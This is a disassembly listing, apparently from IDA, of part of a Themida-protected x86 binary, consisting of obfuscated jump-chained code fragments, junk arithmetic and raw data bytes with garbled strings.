		dd 4C6h, 3DEA6800h, 99E90000h, 66FFFFF7h, 1403C381h, 0E9565766h
		dd 25B1h, 33241431h, 0EDE92414h, 54000030h, 5657565Ah
		dd 5B6C0CBEh, 6C10BF10h, 0F729105Bh, 8124348Bh,	4C4h, 5FFE8900h
		dd 348BF201h, 4C48324h,	5704EA83h, 98E9E789h, 55000040h
		dd 0E92414F7h, 7354h, 8AA4E95Ch, 0B6E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55375F:				; CODE XREF: Themida_:00559250j
		push	eax
		mov	eax, 7FC22BECh
		push	edx
		mov	edx, 2875402Eh
		push	ecx
		mov	ecx, 0D78ABFD2h
		jmp	loc_5540A5
; ---------------------------------------------------------------------------
aRsU		db 'Réìu',0
		align 4
a5sr		db '´5éà',9,0
		db 0
; ---------------------------------------------------------------------------


loc_553783:				; CODE XREF: Themida_:0055272Bj
		push	esp
		jmp	loc_552EE9
; ---------------------------------------------------------------------------


loc_553789:				; CODE XREF: Themida_:005560F5j
		pop	edi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_554691
		push	esi
		jmp	loc_55B822
; ---------------------------------------------------------------------------
		db 31h
		dd 0EF8159CFh, 6CCE31D3h, 0FF5FF801h, 81592434h, 4C4h
		dd 37AE6800h, 34890000h, 5F1E924h, 34FF0000h, 0E9565824h
		dd 3EAFh, 0F7534B43h, 2BE92414h, 8B00000Ch, 0C481240Ch
		dd 4, 4EC81h, 34890000h, 395F6824h, 0EC830000h,	5951E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5537F2:				; CODE XREF: Themida_:00557BBEj
		sub	bl, al
		sub	bl, 43h
		mov	ax, [esp]
		jmp	loc_553631
; ---------------------------------------------------------------------------
		dd 2434FF54h, 45E6E9h, 148CBF00h, 0D7F73ED6h, 9AA2E9h
		dd 0BF575F00h, 26F56ADFh, 8247C01h, 246C295Fh, 0DFB95104h
		dd 2926F56Ah, 5908244Ch, 0DFDFE95Dh, 0C281FFFFh, 6B51762Bh
		dd 3E81E9h, 45D5B900h, 0C8010DC0h, 81240C8Bh, 4C4h, 8BC22900h
		dd 0C4812404h, 4, 0DFB3E95Fh, 0C589FFFFh, 8324048Bh, 0CB6804C4h
		dd 89000069h, 0E9572414h, 8F53h, 148B6658h, 4EC8124h, 89000000h
		dd 0E589242Ch, 65D4E957h, 814A0000h, 856A7CE2h,	0EA814A28h
		dd 0DEEBDAD0h, 295AD131h, 8D19E9CBh, 34870000h,	24248B24h
		dd 50241489h, 0DF5FE99Ch, 5AE9FFFFh, 5BFFFFDFh,	81E28952h
		dd 4C2h, 0BEFE900h, 4050000h, 87000000h, 575C2404h, 87E7E9h
		dd 2FBB5300h, 0E96F0E77h, 7EE1h, 794B482Dh, 1ABA5272h
		dd 29462C02h, 97E95AD0h, 29000051h, 0C7815AD7h,	251F37B2h
		dd 537AC781h, 0CF01562Ah, 537AEF81h, 8950562Ah,	405E0h
		dd 0CAE90000h, 0FF00005Ah, 48B1C77h, 4EC8124h, 89000000h
		dd 0E589242Ch, 6C65E9h,	95ED8100h, 8112670Ah, 6F36BFCDh
		dd 4EDC10Ch, 0C83DED81h, 0EF29DBA8h, 48B9FD5Dh,	0E93E6727h
		dd 33E4h, 8102EBC1h, 194234E3h,	1EB8376h, 1514E9h, 2B900h
		dd 0C8010000h, 74FF5059h, 0E9580424h, 4F41h, 0EBEB815Bh
		dd 5F4DB007h, 50D1E9h, 0DE8BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55398A:				; CODE XREF: Themida_:00552B4Aj
		sub	ebx, 5C370BC9h
		add	ebx, ecx
		add	ebx, 5C370BC9h
		pop	ecx
		add	ebx, edx
		push	esi
		push	ebp
		jmp	loc_556A1C
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 5911h, 8B241487h, 0F662424h,	5166C8AFh, 0DE5BE99Ch
		dd 0BF57FFFFh, 4, 7BCCE9h, 1F6C6800h, 14890000h, 0E974B624h
		dd 300Ch, 0E9241C8Bh, 0FFFFE437h, 87D7F75Fh, 6E6C1FEh
		dd 7BF6814Eh, 11CB548h,	0C3835EF3h, 241C8704h, 0AE9C15Ch
		dd 2CAD68h, 242C8900h, 8904EC83h, 3BE92404h, 68FFFFF7h
		dd 70E7h, 35AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_553A15:				; CODE XREF: Themida_:00556656j
		pop	edi
		add	ecx, edx
		pop	edx
		jmp	loc_555C2F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7A90BA24h, 0D731627Ch, 5A2434FFh, 4C481h, 0FD890000h
		dd 52BB535Fh, 0F755B218h, 5BAE9D3h, 68530000h, 4D3D7D87h
		dd 14F7535Bh, 514B5B24h, 31DDB850h, 59505203h, 6CBA5258h
		dd 0C1589C1Dh, 0EA8108E2h, 5BEC2F49h, 0FFFE21E9h, 4EF81FFh
		dd 87000000h, 895C243Ch, 0D8E9240Ch, 0F700003Bh, 0ED8145D5h
		dd 493A3CE1h, 4E12C581h, 0EA81B2D7h, 303E7424h,	0C281EA01h
		dd 303E7424h, 74FF525Dh, 8F5A0424h, 248B2404h, 66E1F624h
		dd 66CCB60Fh, 664B6068h, 66240C89h, 66C8B60Fh, 52E99C51h
		dd 87FFFFDDh, 0E0E9241Ch, 5FFFFFE1h, 15AAEE81h,	0DE011F3Fh
		dd 0FFE74CE9h, 67E956FFh, 5D000008h, 4C581h, 98E90000h
		dd 66000056h, 2404AB0Fh, 0DD1FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553AF6:				; CODE XREF: Themida_:00558F0Aj
		push	3A0E66E1h
		pop	edx
		xor	edx, 18C670A1h
		jmp	loc_55216D
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 48904ECh,	48B5424h, 3EEFE924h, 5A660000h
		dd 66D80166h, 81763D05h, 2ECh, 0C896600h, 856EE924h, 89530000h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 8BF3015Ch, 0C4812434h
		dd 4, 6DABE381h, 0EEE9202Ch, 0F7000066h, 2E6C1D6h, 0A146F681h
		dd 0F231C39Bh, 0FF6BE95Eh, 489FFFFh, 0FC06E924h, 0F66FFFFh
		dd 5751C8B6h, 0D4E9E789h, 31000040h, 0EF8158C7h, 8388C5CBh
		dd 895FF889h, 2AE958C2h, 5000004Bh, 4B8h, 8BC20100h, 40E92404h
		dd 66FFFFE9h, 66B728BAh, 0E2E9D531h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553BB3:				; CODE XREF: Themida_:00559794j
		pop	eax
		inc	eax
		add	eax, 632E6DE6h
		xor	edx, eax
		jmp	loc_5541D1
; ---------------------------------------------------------------------------
aPsuo		db 'PéuO',0
		dw 0C100h
		dd 814704E7h, 0E59936C7h, 0E9FB899Eh, 8930h, 0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 5C7EE9h, 0D7F76600h
		dd 0E9DFF766h, 113Ah, 4C481h, 0EED00000h, 0C0FFC680h, 0F68005EEh
		dd 0C7B7535Dh, 9E9DFF6h, 0AC00006Dh, 29E9D830h,	8100002Eh
		dd 6D74ADC1h, 59CF3125h, 0F781D7F7h, 0A41F0E53h, 335FF901h
		dd 0C31240Ch, 848FE924h, 0E9520000h, 5F8Fh, 43D2CACh, 2C5A2C00h
		dd 4D8286Dh, 8D08E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C56:				; CODE XREF: Themida_:0055C3E1j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_55BD75
; ---------------------------------------------------------------------------
a0Fz		db '0×fZ',0
		dd 241C8BF8h, 2FCEE9h, 5BDD2900h, 8106E5C1h, 797AEAEDh
		dd 6F68E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C86:				; CODE XREF: Themida_:00557ACAj
		pop	ebp
		add	eax, edx
		add	eax, 2F5550C6h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55CB6D
; ---------------------------------------------------------------------------


loc_553C9A:				; CODE XREF: Themida_:00558897j
		pop	esp
		push	4D66h
		mov	[esp], ebx
		add	dword ptr [esp], 282C5AD4h
		pop	eax
		sub	eax, 282C5AD4h
		mov	ebx, [esp]
		jmp	loc_559EA2
; ---------------------------------------------------------------------------
		dd 3AE9D1BEh, 5DEE01A2h, 1808E9h, 6A96B900h, 0CB0947E2h
		dd 39C38159h, 8135E76Ah, 0D5D511F3h, 6C6BE99Dh,	0CB010000h
		dd 5BDF8959h, 73E8CF81h, 98E97B56h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553CEF:				; CODE XREF: Themida_:005555E5j
		mov	eax, 4DCD6CC2h
		sub	ecx, eax
		jmp	loc_5562DE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 55241C8Bh, 0C5815D54h, 4, 0FFF5A5E9h, 4B951FFh, 1000000h
		dd 240C8BCAh, 5204C483h, 42474FFh, 6B29E95Ah, 0E5C10000h
		dd 0ED814D06h, 8C2719C3h, 0F75DEF09h, 0D6C781D7h, 0E9EB3BA3h
		dd 5B3Ch, 2D1DEB81h, 0F3016422h, 2D1DC381h, 835E6422h
		dd 1C3304C3h, 2F28E924h, 0F3810000h, 76AF1994h,	98FCEB81h
		dd 0DAE9F66Fh, 0B0000041h, 0E9A0045Fh, 1E36h, 8304C483h
		dd 2C8704C5h, 24248B24h, 0E99CC83Bh, 43E8h, 33C7E981h
		dd 0F129114Dh, 33C7C181h, 295E114Dh, 0D7F759CFh, 6EF8BD55h
		dd 96E9E2A3h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553DA7:				; CODE XREF: Themida_:00556901j
		sub	ebx, 4
		jmp	loc_555B1B
; ---------------------------------------------------------------------------
		db 68h
		dd 6E458BA6h, 8B2434FFh, 33682434h, 89000032h, 5E542434h
		dd 4C681h, 0C6830000h, 24348704h, 0E089505Ch, 405h, 59E95600h
		dd 81000082h, 4C2h, 8F00E900h, 0C4810000h, 4, 5C240C87h
		dd 51F6E9h, 95E95900h, 8B00007Ch, 0FF662424h, 0E99C2404h
		dd 0FFFFDA09h, 31243C33h, 3C33243Ch, 24248B24h,	52D18851h
		dd 88CC8850h, 348858E6h, 2434FF87h, 0E089505Ah,	7F16E9h
		dd 8BF52100h, 0C4832434h, 14F58104h, 2DA86695h,	298D4D04h
		dd 4A8BE9h, 24048900h, 0BF57E089h, 4, 0E95FF801h, 0FBDh
		dd 7C04DAB0h, 5058C300h, 0CF2484B0h, 952EE9h, 240C8B00h
		dd 50E78957h, 4B8h, 36C78100h, 810EAE0Dh, 0C62431EFh, 81C70171h
		dd 0C62431C7h, 36EF8171h, 8B0EAE0Dh, 0D1E92404h, 0FF000078h
		dd 669D1C77h, 24041058h, 0D96BE99Ch, 405FFFFh, 0E9000000h
		dd 0F83h, 9C2424D3h, 0FFD958E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553EBD:				; CODE XREF: Themida_:0055A55Dj
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 2B8B45FDh
		shr	eax, 2
		add	eax, 6A851B56h
		add	eax, 6FD54CC9h
		inc	eax
		shl	eax, 7
		jmp	loc_55C0D9
; ---------------------------------------------------------------------------


loc_553EE2:				; CODE XREF: Themida_:0055A2E4j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552292
; ---------------------------------------------------------------------------


loc_553EED:				; CODE XREF: Themida_:005524D7j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553EF2:				; CODE XREF: Themida_:005570DFj
		mov	[esp], ebx
		jmp	loc_555C88
; ---------------------------------------------------------------------------
		dw 0B2B9h
		dd 0B803A969h, 76D13FD2h, 0FFDB67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553F09:				; CODE XREF: Themida_:005577DEj
		pop	esi
		push	eax
		mov	eax, 76AA44A6h
		jmp	loc_559784
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 0E9240C87h, 2A9h
		dd 4C6815Eh, 68000000h,	76C5h, 3DEDE9h,	28F6400h, 0FFD8CCE9h
		dd 4C781FFh, 87000000h,	0E95C243Ch, 0FFFFF94Eh,	4EC81h
		dd 3C890000h, 482EBF24h, 6C81719Dh, 42100424h, 9AE9031Dh
		dd 31000025h, 68D031C2h, 6BEBh,	81241C89h, 4ECh, 746E900h
		dd 24B80000h, 81000000h, 0FC0EF5C6h, 2ABEE960h,	34890000h
		dd 7DD9E924h, 0D7680000h, 8900004Eh, 36B9240Ch,	16B593Ah
		dd 0F6659C8h, 686600B6h, 89666A9Ah, 0BFE92404h,	66FFFFE4h
		dd 0E924248Bh, 4683h
; ---------------------------------------------------------------------------


loc_553FCC:				; CODE XREF: Themida_:0055DCFBj
		add	esp, 4
		sub	ebp, 4
		jmp	loc_55C147
; ---------------------------------------------------------------------------
		db 43h,	50h, 0B8h
		dd 24662A64h, 48BC329h,	4C48124h, 21000000h, 0EDF9E9D8h
		dd 0E9ADFFFFh, 83Ch, 4AA68h, 242C8900h,	73D7E9h, 58C30100h
		dd 5C241C87h, 0E9E9F766h, 7FBCh, 54243489h, 0FFFF0FE9h
		dd 5FF929FFh, 83241C8Bh, 64E904C4h, 81000055h, 4ECh, 24348900h
		dd 0C681E689h, 4, 4C5DE9h, 6073BF00h, 0D7F77800h, 0E8E9D731h
		dd 0FF000063h, 83582434h, 0BF5704C4h, 7A966D28h, 1C20F781h
		dd 13E9CE80h, 89000025h, 4C681E6h, 50000000h, 0FFD82AE9h
		dd 240C8BFFh, 4C481h, 0E9510000h, 1FFAh, 108CEE81h, 0FE017B03h
		dd 42FEE9h, 4C38100h, 68000000h, 744Dh,	9B3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5540A5:				; CODE XREF: Themida_:00553771j
		sub	edx, 36382AA5h
		add	edx, ecx
		add	edx, 36382AA5h
		pop	ecx
		sub	edx, eax
		mov	eax, edx
		pop	edx
		shr	eax, 6
		not	eax
		jmp	loc_55BA82
; ---------------------------------------------------------------------------
		db 0FFh
		dd 348B2434h, 4C48124h,	83000000h, 0B66804C4h, 8900001Fh
		dd 0E953241Ch, 0FFFFE321h, 51E28952h, 0B5244DB9h, 41F1813Bh
		dd 0F70AFA3Eh, 0EFE981D1h, 1CEB0E5h, 0C28359CAh, 24148704h
		dd 88AFE9h, 4015900h, 24048124h, 7EF230E9h, 815B5453h
		dd 4C3h, 7318E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55411E:				; CODE XREF: Themida_:00552639j
		add	edx, edi
		sub	edx, 7F7A3E0Dh
		jmp	loc_557E3A
; ---------------------------------------------------------------------------
aISgBTocssspe	db '‰<$¿èg>#ÇTO—sSéPE',0
		dw 8B00h
		dd 8B662424h, 4868240Ch, 8900006Fh, 58542404h, 4EC81h
		dd 0EE90000h, 6600006Ah, 0B2E930FFh, 20FFFFD6h,	63E958E2h
		dd 0BA000050h, 610D0D89h, 5D3CE953h, 64BD0000h,	8948D757h
		dd 0BB535DEFh, 62B05432h, 79B5E9h, 5BDA2900h, 73CCE9h
		dd 242C8900h, 0AF0772BDh, 0C5814559h, 6D2D35BEh, 4E24CD81h
		dd 5245166Bh, 97497EBAh, 0C1E2815Ah, 53535829h,	89520ABBh
		dd 5E3C143h, 66F3814Bh,	11CEE4Fh, 0F2815BDAh, 0C239B2ACh
		dd 0FFE019E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5541D1:				; CODE XREF: Themida_:00553BBCj
		pop	eax
		add	esi, edx
		jmp	loc_557E7A
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 4EC8124h, 0E9000000h, 708Eh,	6F966866h, 24148966h, 0E99C5066h
		dd 0FFFFD61Dh, 8B66D030h, 0C4832414h, 0F9C38002h, 729FE9h
		dd 0BB534E00h, 0FFFFFFFFh, 0FFE91EE9h, 24248BFFh, 3894E9h
		dd 3EDC100h, 0E9DDF74Dh, 5F64h,	0FF2434FFh, 34FF2434h
		dd 24048B24h, 8104C483h, 4C4h, 4EC8100h, 89000000h, 5AE92414h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55424B:				; CODE XREF: Themida_:00556917j
		push	ebp
		mov	ebp, ecx
		push	ebp
		sub	dword ptr [esp], 16D460BBh
		pop	edi
		add	edi, 16D460BBh
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_555AC3
; ---------------------------------------------------------------------------
		dd 33240C31h, 0FF5C240Ch, 81582434h, 4C4h, 9153E900h, 0D0F70000h
		dd 8F240487h, 0D9E92447h, 3100003Ch, 240C8BC8h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5594E4
; ---------------------------------------------------------------------------


loc_5542A3:				; CODE XREF: Themida_:0055AF15j
		pop	esp
		sub	esp, 2
		jmp	loc_55AB4D
; ---------------------------------------------------------------------------
aLSM		db '‹$$éÓM',0
		dw 0B000h
		dd 5AF000EBh, 8141E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542C1:				; CODE XREF: Themida_:00558B08j
		pop	esi
		push	edx
		mov	edx, 413802E3h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	6D1Fh
		mov	[esp], esi
		pop	dword ptr [edi+20h]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CE89
; ---------------------------------------------------------------------------
		db 89h,	0D3h, 5Ah
		dd 215BDE89h, 0DFF75EF7h, 61D5E9h, 0E2ED8100h, 292361CCh
		dd 0ACE95DEFh
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554307:				; CODE XREF: Themida_:0055A983j
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 40h
		dd 4D7F997Dh, 7DB0CD81h, 0F58172A9h, 4712323h, 8108E5C1h
		dd 0B4C27FEDh, 0E9EA018Bh, 4C32h, 0C33B69B9h, 2B41E958h
		dd 89560000h, 9563E9E6h, 0D6890000h, 37BFE9h, 4BF00h, 48E90000h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554357:				; CODE XREF: Themida_:0055D740j
		add	ebp, edi
		pop	edi
		pop	ecx
		jmp	loc_558E8F
; ---------------------------------------------------------------------------


loc_554360:				; CODE XREF: Themida_:0055CA62j
		not	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		push	3355h
		jmp	loc_55D1A2
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 0DD6EF81h, 835D0C84h, 3C8704C7h, 24248B24h, 5AE68h
		dd 3E08E900h, 0F1810000h, 4AED0AB8h, 0E8E9CA89h, 8100005Fh
		dd 4C4h, 0D46FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5543A6:				; CODE XREF: Themida_:00559B99j
		sub	ecx, ebp
		jmp	loc_55B488
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 57550000h, 0DA2308BFh, 0CAEF810Bh, 89D54504h, 0E22AE9FDh
		dd 48BFFFFh, 4C48324h, 1EE9E957h, 0E7800000h, 0D0D7F651h
		dd 80DFF6EFh, 0EF80FAC7h, 282A2C8Fh, 5B2A04F8h,	0D731E952h
		dd 0E952FFFFh, 0FFFFEB76h
		db 0ADh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_55AC93
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 610DD6BFh, 2E7C15Fh,	5567CF81h, 0C4681FE1h, 89000042h
		dd 1B9240Ch, 51000000h,	292FFCB9h, 5CE1815Fh, 0F74D2A5Fh
		dd 69B9E9D9h, 0C4830000h, 86804h, 3AE90000h, 8900008Eh
		dd 0E2892414h, 46855h, 535D0000h, 0E9213CBBh, 8F2EE918h
		dd 0EC830000h, 24048904h, 42474FFh, 24048F58h, 48B665Ch
		dd 2FB5E924h, 0C15F0000h, 0D9F708E9h, 0FFFFE981h, 0C181FFFFh
		dd 3D9644B4h, 0FDE9C829h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554483:				; CODE XREF: Themida_:00559A9Ej
		mov	ebx, 23FE7EEAh
		jmp	loc_5535D0
; ---------------------------------------------------------------------------
		db 5Ah,	0Fh, 0B6h
		dd 4C04E9C0h, 575D0000h, 0FF2414F7h, 835F2434h,	0DFF704C4h
		dd 35CBF781h, 0FA293120h, 0C281595Fh, 4, 0FFD484E9h, 4C283FFh
		dd 5C241487h, 0E38067B3h, 8EBC052h, 0FFEA5CE9h,	4C483FFh
		dd 38E9C331h, 1000000h,	34875DEEh, 9516E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544E2:				; CODE XREF: Themida_:00557AACj
		sub	ebx, 1D2655Eh
		pop	ebp
		add	ebx, edx
		sub	ebx, 5C1A7421h
		push	edx
		mov	edx, 0
		jmp	loc_557A1C
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 27AC68F7h, 4890000h, 0AEE95124h,	6600008Eh
		dd 8100B60Fh, 4ECh, 24148900h, 211DE954h, 81590000h, 4C4h
		dd 0F30400h, 0E9F32CD8h, 95B4h,	4BE5658h, 1000000h, 89505EF2h
		dd 405E0h, 0E8830000h, 24048704h, 8924248Bh, 74FF2414h
		dd 8F5A0424h, 835C2404h, 48904ECh, 0FA24E924h, 0D5F6FFFFh
		dd 6CC2E9h, 4BB00h, 80E90000h, 6Eh, 0D32858E2h,	0A7F3805Ah
		dd 1C8BD830h, 4C48324h,	2C6B68h, 0FF6AE900h, 0B353FFFFh
		dd 885150FBh, 0E9E888DDh, 30CBh, 4C181h, 2E90000h, 100000Dh
		dd 0BF575EF5h, 249D3155h, 515FFD21h, 5E3C68h, 241C8900h
		dd 0BD29ECBBh, 0E939h, 0EDB90000h, 312C6A47h, 0CD215BD9h
		dd 81240C8Bh, 4C4h, 0ED8100h, 89000500h, 0F4E95DEBh
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5545EB:				; CODE XREF: Themida_:0055D966j
		xor	edx, 0F676F224h
		sub	edi, edx
		pop	edx
		dec	edi
		jmp	loc_558C2F
; ---------------------------------------------------------------------------
aRSP		db 'R¶+é}P',0
		align 2
		dw 0C14Fh
		dd 0EFC104EFh, 0B3C78103h, 8142D864h, 0BFC9B6F7h, 5FFD3187h
		dd 4E00E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55461E:				; CODE XREF: Themida_:00552295j
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		and	ecx, edi
		pop	edi
		shr	ecx, 2
		push	3531h
		mov	[esp], ecx
		mov	ecx, ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 54836E04h
		sub	[esp+4], esi
		jmp	loc_55C3E6
; ---------------------------------------------------------------------------
		dd 0F83A83BAh, 7EAC138h, 0B846EA81h, 9D68DD7Ah,	89000053h
		dd 0A5BE2434h, 813A9F55h, 36869C6h, 12E6811Ch, 817A3B79h
		dd 217929F6h, 0DDDAE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55467E:				; CODE XREF: Themida_:00558CE7j
		xor	esi, 0FFC1AE20h
		xor	edx, esi
		pop	esi
		jmp	loc_55C3DE
; ---------------------------------------------------------------------------
		dd 0FFD184E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554691:				; CODE XREF: Themida_:0055378Fj
		shr	edx, 1
		jmp	loc_55A642
; ---------------------------------------------------------------------------
		dd 0B22DD8F7h, 2532AA5Fh, 4AA66ACBh, 9978A805h,	7E36E9BDh
		dd 815A0000h, 933F55CDh, 8359E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5546BA:				; CODE XREF: Themida_:0055C718j
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_557F89
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 0CC6h
; ---------------------------------------------------------------------------


loc_5546D8:				; CODE XREF: Themida_:0055B683j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2ED17475h
		xchg	eax, edi
		jmp	loc_55BEEF
; ---------------------------------------------------------------------------
		dw 0F66h
aSd1		db '¶ÌéD1',0
		dw 5200h
		dd 3E4CCFBAh, 0E9C38176h, 0E97B1748h, 73FBh
; ---------------------------------------------------------------------------


loc_554704:				; CODE XREF: Themida_:0055BDC5j
		push	edx
		push	esi
		jmp	loc_5518EB
; ---------------------------------------------------------------------------
		db 66h
		dd 8AEC8850h, 0E902246Ch, 23Eh,	0BBF99DB9h, 8A29E9A2h
		dd 0C6810000h, 4, 0FFD4C6E9h, 0DA0058FFh, 5B67EA80h, 50C9B753h
		dd 0CC808EB4h, 0DB6FE96Dh, 0E2C0FFFFh, 63CA8004h, 0F280CAFEh
		dd 8BD53038h, 0AEE92414h, 81000093h, 4C4h, 24448100h, 0AB22CE04h
		dd 2444810Fh, 0B3451104h, 246C2934h, 11B85004h,	2934B345h
		dd 8B082444h, 8AE92404h, 0FFFFFFEDh, 8AE92C77h,	89FFFFD0h
		dd 0E0892404h, 0FFF715E9h, 148B66FFh, 2C48324h,	372B0566h
		dd 66E80166h, 8B372B2Dh, 0C483242Ch, 0EB816604h, 66550B6Eh
		dd 665C29BDh, 56C6C581h, 9201E9h
		db 0
; ---------------------------------------------------------------------------


loc_5547C1:				; CODE XREF: Themida_:0055BBE4j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	54F8h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_559EEA
; ---------------------------------------------------------------------------
		db 0D0h, 0E1h, 0FEh
		dd 80C9FEC9h, 0C82859C1h, 4EC8159h, 89000000h, 7FE9240Ch
		dd 81FFFFEEh, 0EBDF3BEDh, 68C68100h, 17F9A64h, 68EE81EEh
		dd 5D7F9A64h, 4C681h, 34870000h, 148B5C24h, 4EC8324h, 89241C89h
		dd 4C381E3h, 81000000h,	4EBh, 241C3300h, 0E9241C31h, 84C3h
		dd 207F83h, 5FE4840Fh, 0BE680000h, 0E9000026h, 0FFFFE172h
		dd 6824048Bh, 2DC2h, 89240489h,	0C2B951E0h, 4963BF0Fh
		dd 4A92E9h
		db 0
; ---------------------------------------------------------------------------


loc_554865:				; CODE XREF: Themida_:00552097j
		add	esp, 4
		jmp	loc_55C921
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 4C781h, 3C870000h, 0DBE95C24h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55487F:				; CODE XREF: Themida_:00558B93j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55CF31
; ---------------------------------------------------------------------------


loc_55488C:				; CODE XREF: Themida_:00555C01j
		or	ch, 0C9h
		add	ch, 0CDh
		sub	al, 26h
		sub	al, ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_556D93
; ---------------------------------------------------------------------------
		dd 54241489h, 5D24E9h, 4C48300h, 56F9BD55h, 0BCE9252Ch
		dd 0FEFFFFDAh, 53C0FEC8h, 0D83051B3h, 58C5005Bh, 5059EE00h
		dd 0FFD202E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5548D1:				; CODE XREF: Themida_:0055304Ej
		pop	eax
		jmp	loc_551B32
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3254E681h, 0D6F70CADh, 0FFD6AAE9h, 48B66FFh,	4EC8324h
		dd 2D27E9h
		db 0
; ---------------------------------------------------------------------------


loc_5548F1:				; CODE XREF: Themida_:0055D7BDj
		mov	dl, 66h
		or	dl, 0C1h
		push	eax
		mov	ah, dl
		not	ah
		mov	dl, ah
		pop	eax
		shl	dl, 8
		jmp	loc_55C274
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	348704C6h, 0CD015C24h, 2C58359h
		dd 31242C33h, 2C33242Ch, 0BB685C24h, 89000013h,	68240Ch
		dd 0E9000000h, 1118h, 5E8D140h,	614ED443h, 0FFE5D9E9h
		dd 14895CFFh, 8A03E924h, 0C330000h, 0F91AE924h,	6488FFFFh
		dd 8B660224h, 0C4812404h, 2, 6866D5F6h,	896649A4h, 8868241Ch
		dd 8900006Dh, 0EC832404h, 241C8904h, 2112E9h, 7DF58000h
		dd 0C8BE800h, 4C48124h,	80000000h, 68518AC3h, 701h, 53240489h
		dd 0EB807FB3h, 80DBF68Dh, 0CB8063C3h, 2EB80E1h,	0F65BDC88h
		dd 5E4C0DCh, 808CEC80h,	0E588C2F4h, 80A5E958h, 0BE560000h
		dd 39077550h, 4FD0E9h, 24148700h, 2035E9h, 0E9555100h
		dd 4F13h, 240C8B66h, 81595451h,	4C1h, 4E98300h,	8B240C87h
		dd 14892424h, 0D8FEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5549FA:				; CODE XREF: Themida_:0055DAA5j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C3304h, 33241C31h, 248B241Ch
		dd 3D46E924h, 0C6FE0000h, 7170E9h, 4EC8100h, 0E9000000h
		dd 0FFFFF13Ah, 69E44C2Dh, 58C10120h, 3304C183h,	0C31240Ch
		dd 240C3324h, 160CE9h, 48C16800h, 2C890000h, 7370E924h
		dd 252D0000h, 2D468317h, 8D77ADFh, 0B951F801h, 5BF51490h
